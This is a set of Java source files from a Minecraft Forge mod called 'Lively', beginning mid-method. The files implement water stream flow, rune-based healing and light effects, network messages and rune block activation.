while (accumulated < amt && polls++ < ROUNDS && !open.isEmpty()) {
Set<StreamFlowTileEntity> toRemove = new HashSet<>();
int reqAmt = Math.max((amt - accumulated) / open.size(), (int) (MAX_WATER * 0.01));
for (StreamFlowTileEntity parent: open) {
if (blacklist.contains(parent)) {
toRemove.add(parent);
continue;
}
int received = parent.request(reqAmt, blacklist);
// Streams that can't fulfill requests are not polled again
if (received < reqAmt) {
toRemove.add(parent);
}
addWaterInBlock(received);
}
open.removeAll(toRemove);
}
int missing = Math.min(amt - accumulated, waterInBlock);
addWaterInBlock(-missing);
return accumulated + missing;
}
@NotNull
private Direction randomDirection() {
switch (worldObj.rand.nextInt(4)) {
case 0: return Direction.NORTH;
case 1: return Direction.SOUTH;
case 2: return Direction.EAST;
case 3:
default: return Direction.WEST;
}
}
private void flowUp() {
Block target = getBlock(Direction.UP);
StreamFlowTileEntity targetFlow = getAdjStreamFlow(Direction.UP);
int x = this.xCoord;
int y = this.yCoord + 1;
int z = this.zCoord;
if (displacableBlocks.contains(target)) {
displace(x, y, z, getWaterInBlock() - (NOMINAL_WATER / 2));
} /*else if (target == Lively.BLOCK_STREAM_SOURCE) {
int toPush = Math.min(getWaterInBlock() - NOMINAL_WATER, MAX_WATER - targetFlow.getWaterInBlock());
targetFlow.addWaterInBlock(toPush);
this.addWaterInBlock(-toPush);
} */ else {
Lively.INSTANCE.logger.warn("Couldn't flow upwards to block " + target.getUnlocalizedName() + " at (" + x + ", " + y + ", " + z + ")");
}
targetFlow.depth = Math.max(depth - 1, targetFlow.depth);
targetFlow.addParent(this);
}
private void flowLaterally(@NotNull Set<Direction> directions) {
int sum = getWaterInBlock();
int maxDepth = depth;
for (Direction direction: directions) {
Block target = getBlock(direction);
int x = this.xCoord + direction.dx;
int y = this.yCoord;
int z = this.zCoord + direction.dz;
if (displacableBlocks.contains(target)) {
displace(x, y, z, 0);
} /*else {
StreamFlowTileEntity flow = getAdjStreamFlow(direction);
sum += flow.getWaterInBlock();
if (flow.depth > maxDepth) {
maxDepth = flow.depth;
}
}*/
}
int average = sum / (directions.size() + 1);
for (Direction direction: directions) {
getAdjStreamFlow(direction).setWaterInBlock(average);
getAdjStreamFlow(direction).depth = maxDepth;
getAdjStreamFlow(direction).addParent(this);
}
setWaterInBlock(average);
depth = maxDepth;
}
private void flowDown() {
Block target = getBlock(Direction.DOWN);
StreamFlowTileEntity targetFlow = getAdjStreamFlow(Direction.DOWN);
int x = this.xCoord;
int y = this.yCoord - 1;
int z = this.zCoord;
if (displacableBlocks.contains(target)) {
displace(x, y, z, getWaterInBlock());
} else if (absorbingBlocks.contains(target)) {
this.setWaterInBlock(0);
} /* else if (target == Lively.BLOCK_STREAM_SOURCE) {
int toPush = Math.min(this.getWaterInBlock(), NOMINAL_WATER - targetFlow.getWaterInBlock());
targetFlow.addWaterInBlock(toPush);
this.addWaterInBlock(-toPush);
} */ else {
Lively.INSTANCE.logger.warn("Couldn't flow down to block " + target.getUnlocalizedName() + " at (" + x + ", " + y + ", " + z + ")");
}
targetFlow.depth = Math.max(depth + 1, targetFlow.depth);
targetFlow.addParent(this);
}
private void addParent(StreamFlowTileEntity streamFlowTileEntity) {
this.parents.add(streamFlowTileEntity);
}
private void displace(int x, int y, int z, int amount) {
for (ItemStack itemStack: worldObj.getBlock(x, y, z).getDrops(worldObj, x, y, z, worldObj.getBlockMetadata(x, y, z), 0)) {
EntityItem item = new EntityItem(worldObj, x, y, z, itemStack);
worldObj.spawnEntityInWorld(item);
}
worldObj.setBlock(x, y, z, Lively.BLOCK_STREAM_SOURCE);
getFlow(x, y, z).setWaterInBlock(amount);
if (!isInfinite()) {
this.setWaterInBlock(-amount);
}
}
private boolean canFlowDown() {
Block target = getBlock(Direction.DOWN);
//return (target == Lively.BLOCK_STREAM_SOURCE && getFlow(Direction.DOWN).getWaterInBlock() < NOMINAL_WATER)
return displacableBlocks.contains(target) || absorbingBlocks.contains(target);
}
@NotNull
private Set<Direction> getPossibleLateralDirections() {
Set<Direction> result = new HashSet<>();
if (canFlowLaterally(Direction.NORTH)) result.add(Direction.NORTH);
if (canFlowLaterally(Direction.SOUTH)) result.add(Direction.SOUTH);
if (canFlowLaterally(Direction.WEST)) result.add(Direction.WEST);
if (canFlowLaterally(Direction.EAST)) result.add(Direction.EAST);
return result;
}
private boolean canFlowLaterally(@NotNull Direction adjacent) {
Block target = getBlock(adjacent);
// return (target == Lively.BLOCK_STREAM_SOURCE && getFlow(adjacent).getWaterInBlock() < this.getWaterInBlock())
if (canFlowDown() || hasAdjFlowRoom(Direction.DOWN)) return false;
return displacableBlocks.contains(target) /*|| absorbingBlocks.contains(target)*/;
}
private boolean hasAdjFlowRoom(@NotNull Direction direction) {
return getBlock(direction) == Lively.BLOCK_STREAM_SOURCE && getAdjStreamFlow(direction).getWaterInBlock() < NOMINAL_WATER;
}
private boolean canFlowUp() {
Block target = getBlock(Direction.UP);
if (canFlowDown()) return false;
if (!getPossibleLateralDirections().isEmpty()) return false;
if (hasAdjFlowRoom(Direction.NORTH) || hasAdjFlowRoom(Direction.SOUTH) || hasAdjFlowRoom(Direction.EAST) || hasAdjFlowRoom(Direction.WEST)) {
return false;
}
if (depth == 0 || waterInBlock <= NOMINAL_WATER / 2) return false;
//return (target == Lively.BLOCK_STREAM_SOURCE && getFlow(Direction.UP).getWaterInBlock() < MAX_WATER)
return displacableBlocks.contains(target);
}
public int getWaterInBlock() {
return waterInBlock;
}
public void addWaterInBlock(int amt) {
this.waterInBlock += amt;
if (waterInBlock > MAX_WATER) waterInBlock = MAX_WATER;
if (waterInBlock < 0) waterInBlock = 0;
}
public void setWaterInBlock(int amt) {
this.waterInBlock = amt;
if (waterInBlock > MAX_WATER) waterInBlock = MAX_WATER;
if (waterInBlock < 0) waterInBlock = 0;
}
public boolean isInfinite() {
return isInfinite;
}
public void setInfinite(boolean flag) {
this.isInfinite = flag;
}
private Block getBlock(@NotNull Direction direction) {
return worldObj.getBlock(xCoord + direction.dx, yCoord + direction.dy, zCoord + direction.dz);
}
@NotNull
private StreamFlowTileEntity getAdjStreamFlow(@NotNull Direction direction) {
return getFlow(xCoord + direction.dx, yCoord + direction.dy, zCoord + direction.dz);
}
@NotNull
private StreamFlowTileEntity getFlow(int x, int y, int z) {
Object flow = worldObj.getTileEntity(x, y, z);
if (flow == null || !(flow instanceof StreamFlowTileEntity)) {
// Sometimes blocks get removed by race conditions or similar
return DummyStreamFlowTileEntity.INSTANCE;
}
return (StreamFlowTileEntity) flow;
}
public int getDepth() {
return depth;
}
private static class DummyStreamFlowTileEntity extends StreamFlowTileEntity {
@NotNull
static final DummyStreamFlowTileEntity INSTANCE = new DummyStreamFlowTileEntity();
@Override
public int getWaterInBlock() {
return 0;
}
@Override
public void addWaterInBlock(int amt) {
}
@Override
public void setWaterInBlock(int amt) {
}
@Override
public void updateEntity() {
}
@Override
public boolean isInfinite() {
return false;
}
@Override
public int getDepth() {
return 0;
}
@Override
public int request(int amt) {
return 0;
}
@Override
public void setInfinite(boolean flag) {
}
}
}
<file_sep>package net.boreeas.lively.runeforge.messages;
import cpw.mods.fml.common.network.simpleimpl.IMessage;
import io.netty.buffer.ByteBuf;
import net.boreeas.lively.util.Vec3Int;
import org.jetbrains.annotations.NotNull;
/**
* @author <NAME>
*/
public class AddActiveLightRune implements IMessage {
private Vec3Int loc;
public AddActiveLightRune() {}
public AddActiveLightRune(@NotNull Vec3Int loc) {
this.loc = loc;
}
public @NotNull Vec3Int getLoc() {
return loc;
}
@Override
public void fromBytes(ByteBuf byteBuf) {
loc = new Vec3Int(byteBuf);
}
@Override
public void toBytes(ByteBuf byteBuf) {
if (loc == null) throw new IllegalStateException("Uninitialized location");
loc.serialize(byteBuf);
}
}
<file_sep>package net.boreeas.lively.util;
/**
* @author <NAME>
*/
public class PosUtil {
public static final int FACE_DOWN = 0;
public static final int FACE_UP = 1;
/**
* Get the adjacent block by the block face
* @param x x position
* @param y y position
* @param z z position
* @param face block face
* @return the position of the adjacent block
*/
public static Vec3Int getAdjustedPosition(int x, int y, int z, int face) {
if (face == FACE_DOWN) y--;
if (face == FACE_UP) y++;
if (face == 2) z--;
if (face == 3) z++;
if (face == 4) x--;
if (face == 5) x++;
return new Vec3Int(x, y, z);
}
}
<file_sep>package net.boreeas.lively.streams;
import org.jetbrains.annotations.NotNull;
import javax.annotation.Nonnull;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
/**
* @author <NAME>
*/
public class PoolLayer {
private int stored;
@NotNull private final Set<StreamFlowTileEntity> tiles = new HashSet<>();
public int getStored() {
return stored;
}
public int getPerBlockAmount() {
return stored / tiles.size();
}
public int getSize() {
return tiles.size();
}
public void addTile(@Nonnull StreamFlowTileEntity tile) {
this.tiles.add(tile);
//tile.setAssociatedLayer(this);
}
public void removeTile(@Nonnull StreamFlowTileEntity tile) {
this.tiles.remove(tile);
//tile.setAssociatedLayer(null);
}
@NotNull
public Set<StreamFlowTileEntity> getTiles() {
return Collections.unmodifiableSet(tiles);
}
}
<file_sep>package net.boreeas.lively.runeforge.runes;
import com.google.common.cache.Cache;
import com.google.common.cache.CacheBuilder;
import net.boreeas.lively.runeforge.Effect;
import net.boreeas.lively.runeforge.EffectZone;
import net.boreeas.lively.runeforge.Rune;
import net.boreeas.lively.runeforge.RuneZone;
import net.minecraft.entity.EntityLivingBase;
import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Random;
import java.util.Set;
import java.util.concurrent.TimeUnit;
/**
* @author <NAME>
*/
public class RuneHealth extends Rune {
public RuneHealth() {
super("health", "++++ ",
"+ + ",
"++++++",
" + ");
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone) {
return new HealthEffect(zone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull EffectZone associatedEffectZone) {
return new HealthEffect(zone, associatedEffectZone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull Effect modTarget) {
return new HealthEffect(zone, modTarget);
}
public class HealthEffect extends Effect {
/**
* Heal amount in half hears
*/
public int amt = 1;
/**
* Cooldown in milliseconds
*/
private int cooldown = 1000;
private Cache<EntityLivingBase, EntityLivingBase> cache = makeCacheBuilder();
public HealthEffect(@NotNull RuneZone assosciatedRune) {
super(assosciatedRune);
}
public HealthEffect(@NotNull RuneZone associatedRuneZone, @NotNull EffectZone effectZone) {
super(associatedRuneZone, effectZone);
}
public HealthEffect(@NotNull RuneZone associatedRuneZone, @NotNull Effect modTarget) {
super(associatedRuneZone, modTarget);
}
/**
* Returns the cooldown between successive applications in milliseconds
* @return The cooldown
*/
public int getCooldown() { return cooldown; }
/**
* Set the cooldown between applications in milliseconds
* @param cooldown The cooldown between applications
*/
public void setCooldown(int cooldown) {
this.cooldown = cooldown;
this.cache = makeCacheBuilder();
}
private Cache<EntityLivingBase, EntityLivingBase> makeCacheBuilder() {
return CacheBuilder.newBuilder().expireAfterWrite(cooldown, TimeUnit.MILLISECONDS).build();
}
@Override
public boolean applyToLiving(@NotNull EntityLivingBase living, int effectStrength) {
if (cache.getIfPresent(living) != null) return false;
cache.put(living, living);
if (super.applyToLiving(living, effectStrength)) return true;
if (super.isDisabledByFilter(living)) return false;
if (isNegated()){
living.setHealth(living.getHealth() - (amt * effectStrength));
living.performHurtAnimation();
} else {
living.heal(amt * effectStrength);
}
Random random = living.worldObj.rand;
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
living.worldObj.spawnParticle("heart", living.posX + random.nextDouble()*2 - 0.5, living.posY, living.posZ + random.nextDouble()*2 - 0.5,
random.nextDouble(), 1, random.nextDouble());
return true;
}
@Override
public Set<EffectTarget> getEffectTargets() {
return Collections.singleton(EffectTarget.ENTITY_LIVING);
}
}
}
<file_sep>package net.boreeas.lively.runeforge.render;
import cpw.mods.fml.common.eventhandler.SubscribeEvent;
import cpw.mods.fml.common.network.simpleimpl.IMessage;
import cpw.mods.fml.common.network.simpleimpl.IMessageHandler;
import cpw.mods.fml.common.network.simpleimpl.MessageContext;
import net.boreeas.lively.Lively;
import net.boreeas.lively.runeforge.messages.RemoveActiveLightRune;
import net.boreeas.lively.runeforge.messages.AddActiveLightRune;
import net.boreeas.lively.runeforge.messages.RenderList;
import net.boreeas.lively.util.Vec3Int;
import net.minecraftforge.client.event.RenderWorldLastEvent;
import org.jetbrains.annotations.NotNull;
import org.lwjgl.opengl.GL11;
import org.lwjgl.util.glu.Sphere;
import java.util.HashSet;
import java.util.Set;
/**
*
*/
public class ClientRenderHandler {
private static final Sphere sphere = new Sphere();
private Set<Vec3Int> lightRuneFXs = new HashSet<>();
public void addLightRuneFx(@NotNull Vec3Int pos) {
lightRuneFXs.add(pos);
}
public void removeLightRuneFx(@NotNull Vec3Int pos) {
lightRuneFXs.remove(pos);
}
@SubscribeEvent
public void renderWorldLast(RenderWorldLastEvent evt) {
lightRuneFXs.forEach(this::renderLightRuneFx);
}
private void renderLightRuneFx(Vec3Int coord) {
GL11.glPushMatrix();
GL11.glTranslated(coord.x + 0.5, coord.y + 0.5, coord.z + 0.5);
GL11.glColor3b(((byte) 100), ((byte) 100), ((byte) 0));
System.out.println("render at " + coord);
sphere.draw(3, 12, 6);
GL11.glPopMatrix();
}
public static class RenderListMessageHandler implements IMessageHandler<RenderList, IMessage> {
@Override
public IMessage onMessage(RenderList renderList, MessageContext messageContext) {
System.out.println("Received initial locations: " + renderList.getActiveLightRuneLocations());
Lively.INSTANCE.clientRenderHandler.lightRuneFXs = renderList.getActiveLightRuneLocations();
return null; // no response
}
}
public static class AddLightRuneHandler implements IMessageHandler<AddActiveLightRune, IMessage> {
@Override
public IMessage onMessage(AddActiveLightRune addActiveLightRune, MessageContext messageContext) {
System.out.println("New rune at " + addActiveLightRune.getLoc());
Lively.INSTANCE.clientRenderHandler.lightRuneFXs.add(addActiveLightRune.getLoc());
return null;
}
}
public static class RemoveLightRuneHandler implements IMessageHandler<RemoveActiveLightRune, IMessage> {
@Override
public IMessage onMessage(RemoveActiveLightRune removeActiveLightRune, MessageContext messageContext) {
System.out.println("Remove rune at " + removeActiveLightRune.getLoc());
Lively.INSTANCE.clientRenderHandler.lightRuneFXs.remove(removeActiveLightRune.getLoc());
return null;
}
}
}
<file_sep>package net.boreeas.lively.streams;
import net.boreeas.lively.util.GlobalCoord;
import net.minecraft.world.World;
import org.jetbrains.annotations.NotNull;
import java.util.HashMap;
import java.util.Map;
/**
* @author <NAME>
*/
public class FlowManager {
@NotNull private final Map<GlobalCoord, PoolLayer> layers = new HashMap<>();
public PoolLayer getLayerAt(@NotNull World world, int x, int y, int z) {
return layers.get(new GlobalCoord(world, x, y, z));
}
public void addPoolLayer(@NotNull World world, int x, int y, int z, @NotNull PoolLayer layer) {
layers.put(new GlobalCoord(world, x, y, z), layer);
}
public void mergeLayers(@NotNull PoolLayer first, @NotNull PoolLayer second) {
for (StreamFlowTileEntity tile: second.getTiles()) {
first.addTile(tile);
}
}
}
<file_sep>package net.boreeas.lively.runeforge.runes;
import net.boreeas.lively.Lively;
import net.boreeas.lively.runeforge.Effect;
import net.boreeas.lively.runeforge.EffectZone;
import net.boreeas.lively.runeforge.Rune;
import net.boreeas.lively.runeforge.RuneZone;
import net.boreeas.lively.util.GlobalCoord;
import net.boreeas.lively.util.Vec3Int;
import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Optional;
import java.util.Set;
/**
* @author <NAME>
*/
public class RuneLight extends Rune {
public RuneLight() {
super("light",
"+++++",
" +",
"+ + +",
"+ ",
"+++++");
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone) {
return new EffectLight(zone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull EffectZone associatedEffectZone) {
return new EffectLight(zone, associatedEffectZone);
}
@NotNull
@Override
public Effect makeEffect(@NotNull RuneZone zone, @NotNull Effect modTarget) {
return new EffectLight(zone, modTarget);
}
public static class EffectLight extends Effect {
private Optional<Vec3Int> renderLoc = Optional.empty();
public EffectLight(@NotNull RuneZone assosciatedRune) {
super(assosciatedRune);
}
public EffectLight(@NotNull RuneZone associatedRuneZone, @NotNull EffectZone effectZone) {
super(associatedRuneZone, effectZone);
GlobalCoord coords = effectZone.getCoords();
Vec3Int pos = new Vec3Int(coords.getX(), coords.getY(), coords.getZ());
this.renderLoc = Optional.of(pos);
Lively.INSTANCE.serverRenderHandler.addLightRune(pos);
}
public EffectLight(@NotNull RuneZone associatedRuneZone, @NotNull Effect modTarget) {
super(associatedRuneZone, modTarget);
}
@Override
public Set<EffectTarget> getEffectTargets() {
return Collections.singleton(EffectTarget.WORLD_ONCE);
}
@Override
public void remove() {
renderLoc.ifPresent(Lively.INSTANCE.serverRenderHandler::removeLightRune);
}
}
}
<file_sep>package net.boreeas.lively.streams;
import net.boreeas.lively.util.Direction;
import org.jetbrains.annotations.NotNull;
/**
* @author <NAME>
*/
public class FlowVector {
@NotNull
public final Direction direction;
public final int amt;
public FlowVector(@NotNull Direction direction, int amt) {
this.direction = direction;
this.amt = amt;
}
@NotNull
public String toString() {
return "Flow[" + direction + " / " + amt + "]";
}
}
<file_sep>package net.boreeas.lively.runeforge;
import com.google.common.cache.CacheBuilder;
import com.google.common.cache.LoadingCache;
import net.boreeas.lively.util.GlobalCoord;
import net.boreeas.lively.util.SetCacheLoader;
import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Optional;
import java.util.Set;
import java.util.concurrent.ExecutionException;
/**
* @author <NAME>
*/
public class RuneZoneLookup {
private LoadingCache<GlobalCoord, Set<RuneZone>> zones = CacheBuilder.newBuilder().build(new SetCacheLoader<>());
public void add(RuneZone zone) {
int minChunkX = (zone.getCoords().getX() - zone.getRadius()) / 16;
int maxChunkX = (zone.getCoords().getX() + zone.getRadius()) / 16;
int minChunkZ = (zone.getCoords().getZ() - zone.getRadius()) / 16;
int maxChunkZ = (zone.getCoords().getZ() + zone.getRadius()) / 16;
try {
for (int x = minChunkX; x <= maxChunkX; x++) {
for (int z = minChunkZ; z <= maxChunkZ; z++) {
zones.get(new GlobalCoord(zone.getCoords().getWorld(), x, 0, z)).add(zone);
}
}
} catch (ExecutionException e) {
e.printStackTrace();
}
}
public void remove(@NotNull RuneZone zone) {
int minChunkX = (zone.getCoords().getX() - zone.getRadius()) / 16;
int maxChunkX = (zone.getCoords().getX() + zone.getRadius()) / 16;
int minChunkZ = (zone.getCoords().getZ() - zone.getRadius()) / 16;
int maxChunkZ = (zone.getCoords().getZ() + zone.getRadius()) / 16;
try {
for (int x = minChunkX; x <= maxChunkX; x++) {
for (int z = minChunkZ; z <= maxChunkZ; z++) {
GlobalCoord coords = new GlobalCoord(zone.getCoords().getWorld(), x, 0, z);
Set<RuneZone> zones = this.zones.get(coords);
zones.remove(zone);
if (zones.isEmpty()) this.zones.invalidate(coords);
}
}
} catch (ExecutionException e) {
e.printStackTrace();
}
}
public @NotNull Optional<RuneZone> getZoneWithPosition(@NotNull GlobalCoord coords) {
GlobalCoord asChunk = new GlobalCoord(coords.getWorld(), coords.getX() / 16, 0, coords.getZ() / 16);
Set<RuneZone> zones = Collections.emptySet();
try {
zones = this.zones.get(asChunk);
if (zones.isEmpty()) this.zones.invalidate(asChunk);
} catch (ExecutionException e) {
e.printStackTrace();
}
return zones.parallelStream().filter(zone -> zone.contains(coords)).findAny();
}
public boolean isCoordMaybePartOfRune(@NotNull GlobalCoord coords) {
return getZoneWithPosition(coords).isPresent();
}
}
<file_sep>package net.boreeas.lively.util;
import org.jetbrains.annotations.NotNull;
import java.util.Optional;
/**
* @author <NAME>
*/
public class Result<T, U> {
private Optional<T> ok;
private Optional<U> fail;
private final boolean isOk;
public static <T, U> Result<T, U> ok(@NotNull T t) {
return new Result(t, null);
}
public static <T, U> Result<T, U> fail(@NotNull U u) {
return new Result(null, u);
}
private Result(T t, U u) {
ok = Optional.ofNullable(t);
fail = Optional.ofNullable(u);
isOk = t != null;
}
public boolean isOk() { return isOk; }
public T getOk() {
return ok.get();
}
public U getFail() {
return fail.get();
}
}
<file_sep>package net.boreeas.lively.runeforge;
import cpw.mods.fml.common.eventhandler.SubscribeEvent;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
import net.boreeas.lively.Lively;
import net.boreeas.lively.util.*;
import net.minecraft.block.Block;
import net.minecraft.block.material.Material;
import net.minecraft.client.renderer.texture.IIconRegister;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.init.Blocks;
import net.minecraft.item.Item;
import net.minecraft.util.AxisAlignedBB;
import net.minecraft.util.ChatComponentText;
import net.minecraft.util.IIcon;
import net.minecraft.world.IBlockAccess;
import net.minecraft.world.World;
import net.minecraftforge.event.entity.player.PlayerInteractEvent;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.util.*;
import java.util.concurrent.ExecutionException;
/**
* @author <NAME>
*/
public class RunicLine extends Block {
public static final RunicLine INSTANCE = new RunicLine();
public static final String NAME = "rune_outer";
public static final Map<Block, Integer> containmentRatings = new HashMap<>();
static {
containmentRatings.put(Blocks.planks, 1);
containmentRatings.put(Blocks.stone, 2);
containmentRatings.put(Blocks.lapis_block, 5);
containmentRatings.put(Blocks.diamond_block, 5);
}
public static final Map<Block, Integer> focusRatings = new HashMap<>();
static {
focusRatings.put(Blocks.lapis_block, 2);
focusRatings.put(Blocks.diamond_block, 5);
}
private static final int MAX_FOCUS_RADIUS = 8;
private IIcon iconBlank;
private IIcon iconSingle;
private IIcon iconIntersection;
private IIcon iconConnector1;
private IIcon iconConnector2;
private IIcon[] iconsEndpoint = new IIcon[4];
private IIcon[] iconsTIntersection = new IIcon[4];
private IIcon[] iconsCorner = new IIcon[4];
protected RunicLine() {
super(Material.carpet);
setBlockBounds(0, 0, 0, 1, 0.0125f, 1);
setBlockName(Lively.muid(NAME));
setBlockTextureName(Lively.muid(NAME));
}
@Override
@Nullable
public AxisAlignedBB getCollisionBoundingBoxFromPool(@NotNull World world, int x, int y, int z) {
return null;
}
@Override
public boolean isOpaqueCube() {
return false;
}
@Override
public boolean renderAsNormalBlock() {
return false;
}
@Override
public boolean canPlaceBlockAt(@NotNull World world, int x, int y, int z) {
return World.doesBlockHaveSolidTopSurface(world, x, y - 1, z);
}
@Override
@NotNull
public Item getItemDropped(int a, @NotNull Random rand, int b) {
return OuterRuneItem.INSTANCE;
}
@Override
@SideOnly(Side.CLIENT)
public void registerBlockIcons(@NotNull IIconRegister register) {
this.iconSingle = register.registerIcon(Lively.muid("rune_single"));
this.iconIntersection = register.registerIcon(Lively.muid("rune_intersection"));
this.iconConnector1 = register.registerIcon(Lively.muid("rune_connector"));
this.iconConnector2 = register.registerIcon(Lively.muid("rune_connector2"));
this.iconBlank = register.registerIcon(Lively.muid("blank"));
for (int i = 1; i <= 4; i++) {
this.iconsEndpoint[i - 1] = register.registerIcon(Lively.muid("rune_endpoint" + i));
this.iconsTIntersection[i - 1] = register.registerIcon(Lively.muid("rune_tintersect" + i));
this.iconsCorner[i - 1] = register.registerIcon(Lively.muid("rune_corner" + i));
}
}
@Override
@NotNull
public IIcon getIcon(@NotNull IBlockAccess iba, int x, int y, int z, int face) {
if (face != PosUtil.FACE_UP) return iconBlank;
boolean top = iba.getBlock(x, y, z - 1) == this;
boolean down = iba.getBlock(x, y, z + 1) == this;
boolean left = iba.getBlock(x - 1, y, z) == this;
boolean right = iba.getBlock(x + 1, y, z) == this;
int sum = (top ? 1 : 0) + (down ? 1 : 0) + (left ? 1 : 0) + (right ? 1 : 0);
switch (sum) {
case 0:
return iconSingle;
case 1:
if (top) return iconsEndpoint[3];
if (right) return iconsEndpoint[0];
if (down) return iconsEndpoint[1];
return iconsEndpoint[2];
case 2:
if (top) {
if (left) return iconsCorner[2];
if (down) return iconConnector2;
return iconsCorner[3];
}
if (right) {
if (down) return iconsCorner[0];
return iconConnector1;
}
return iconsCorner[1];
case 3:
if (top && right && down) return iconsTIntersection[3];
if (right && down && left) return iconsTIntersection[0];
if (top && left && down) return iconsTIntersection[1];
return iconsTIntersection[2];
default:
case 4:
return iconIntersection;
}
}
@SubscribeEvent
public void onRuneActivation(@NotNull PlayerInteractEvent evt) throws ExecutionException {
World world = evt.world;
int x = evt.x;
int y = evt.y;
int z = evt.z;
if (world.isRemote) return;
if (evt.action != PlayerInteractEvent.Action.RIGHT_CLICK_BLOCK) {
return;
}
// Allow sneaking to place blocks instead of trying to activate a rune
if (evt.entityPlayer.isSneaking()) return;
if (isFocusBlock(world.getBlock(x, y, z))) {
if (Lively.INSTANCE.runeZoneLookup.isCoordMaybePartOfRune(new GlobalCoord(world, x, y + 1, z))) return; // No double activation
evt.setCanceled(true);
onFocusBlockClicked(world, x, y, z, evt.entityPlayer);
} else if (world.getBlock(x, y, z) == this) {
if (Lively.INSTANCE.runeZoneLookup.isCoordMaybePartOfRune(new GlobalCoord(world, x, y, z))) return; // No double activation
evt.setCanceled(true);
onRuneBlockClicked(world, x, y, z, evt.entityPlayer);
}
}
private void onRuneBlockClicked(@NotNull World world, int x, int y, int z, @NotNull EntityPlayer player) throws ExecutionException {
if (!isFocusBlock(world.getBlock(x, y - 1, z))) {
player.addChatMessage(new ChatComponentText("You feel energy stirring, but it is lacking a focus. The energy dissipates."));
return;
}
onFocusBlockClicked(world, x, y - 1, z, player);
}
private void onFocusBlockClicked(@NotNull World world, int x, int y, int z, @NotNull EntityPlayer player) throws ExecutionException {
Optional<Vec3Int> alignmentPosOpt = findAlignmentBlock(x, y, z, world);
if (!alignmentPosOpt.isPresent()) {
player.addChatMessage(new ChatComponentText("The energy is focused through the block, but lacking a direction, is flows away."));
return;
}
Vec3Int alignmentPos = alignmentPosOpt.get();
int radius = x == alignmentPos.x ? Math.abs(z - alignmentPos.z) : Math.abs(x - alignmentPos.x);
Result<Integer, Vec3Int> circle = matchCircle(world, new Vec3Int(x, y, z), radius);
if (!circle.isOk()) {
alertBrokenLink(circle.getFail(), player);
return;
}
Direction alignment = alignmentPos.x == x ? (z > alignmentPos.z ? Direction.NORTH : Direction.SOUTH) : (x < alignmentPos.x ? Direction.EAST : Direction.WEST);
boolean[][] runeBlocks = loadRune(world, x, y + 1, z, radius, alignment);
/*
System.out.println("clicked rune dump");
ArrayUtil.dump(runeBlocks);
//*/
Optional<Rune> match = Lively.INSTANCE.runeRegistry.match(runeBlocks);
if (!match.isPresent()) {
player.addChatMessage(new ChatComponentText("The energy circulates inside the rune. But nothing happens..."));
} else {
player.addChatMessage(new ChatComponentText("The energy circulates inside the rune. You feel a distant humming..."));
activateRune(match.get(), new GlobalCoord(world, x, y + 1, z), radius, focusRatings.get(world.getBlock(x, y, z)), circle.getOk(), player);
}
}
